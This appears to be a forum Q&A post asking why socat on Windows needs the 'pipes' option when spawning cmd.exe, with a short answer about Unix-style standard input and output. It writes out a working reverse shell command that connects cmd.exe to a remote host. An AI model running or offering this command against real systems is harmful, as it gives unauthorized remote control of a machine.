SOCAT on WINDOWS: why do I need pipes option for EXEC address?
Trying to create a reverse shell, I used this one my windows box:socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe'
which failed with the following error: "The process tried to write to a nonexistent pipe."
Using the pipes
option, it now works:
socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe',pipes
My question is why pipes
is necessary?
I know that pipes
options will use named pipes instead of the default UNIX socket.
I am assuming that the default behavior is different in the windows implementation
Solution 1:
The pipes
option is used to force cmd.exe or powershell to use Unix style standard input and output.